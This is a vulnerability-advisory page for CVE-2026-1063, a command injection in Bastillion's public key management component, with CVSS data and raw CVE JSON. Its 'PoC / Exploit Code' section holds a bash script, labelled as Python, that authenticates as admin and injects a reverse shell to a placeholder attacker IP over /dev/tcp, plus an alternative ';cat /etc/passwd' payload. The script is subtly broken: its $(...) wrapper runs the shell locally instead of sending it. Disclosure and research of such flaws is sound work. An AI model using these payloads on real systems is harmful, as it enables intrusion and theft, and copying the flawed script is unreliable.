Security Vulnerability Report
中文
CVE-2026-1063 CVSS 4.7 MEDIUM

CVE-2026-1063

Published: 2026-01-17 20:15:54
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in bastillion-io Bastillion up to 4.0.1. This vulnerability affects unknown code of the file src/main/java/io/bastillion/manage/control/AuthKeysKtrl.java of the component Public Key Management System. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

bastillion-io Bastillion <= 4.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-1063 PoC - Bastillion Command Injection # Affected: bastillion-io Bastillion <= 4.0.1 # Component: Public Key Management System (AuthKeysKtrl.java) TARGET_URL="http://target-server:8080" USERNAME="admin" PASSWORD="password" ATTACKER_IP="attacker-ip" ATTACKER_PORT="4444" # Step 1: Authenticate to Bastillion COOKIE_JAR=$(mktemp) curl -k -c $COOKIE_JAR -d "username=$USERNAME&password=$PASSWORD" \ "$TARGET_URL/login" -L 2>/dev/null # Step 2: Inject malicious command via Public Key Management # Using reverse shell payload with command injection PAYLOAD="$(bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1)" # Alternative: Direct command execution payload ALT_PAYLOAD=";cat /etc/passwd #" curl -k -b $COOKIE_JAR \ -X POST \ -d "publicKey=$PAYLOAD" \ -d "description=Malicious Key" \ "$TARGET_URL/api/keys/add" 2>/dev/null echo "[*] Payload sent. Check listener on port $ATTACKER_PORT" rm -f $COOKIE_JAR

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1063", "sourceIdentifier": "[email protected]", "published": "2026-01-17T20:15:53.947", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in bastillion-io Bastillion up to 4.0.1. This vulnerability affects unknown code of the file src/main/java/io/bastillion/manage/control/AuthKeysKtrl.java of the component Public Key Management System. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en bastillion-io Bastillion hasta la versión 4.0.1. Esta vulnerabilidad afecta a código desconocido del archivo src/main/java/io/bastillion/manage/control/AuthKeysKtrl.java del componente Sistema de Gestión de Claves Públicas. Dicha manipulación conduce a inyección de comandos. Es posible lanzar el ataque de forma remota. El exploit ha sido revelado al público y puede ser utilizado. El proveedor fue contactado con antelación sobre esta revelación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/AnalogyC0de/public_exp/blob/main/archives/Bastillion/report1.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.341631", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.341631", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.731303", "source": "[email protected]"}]}}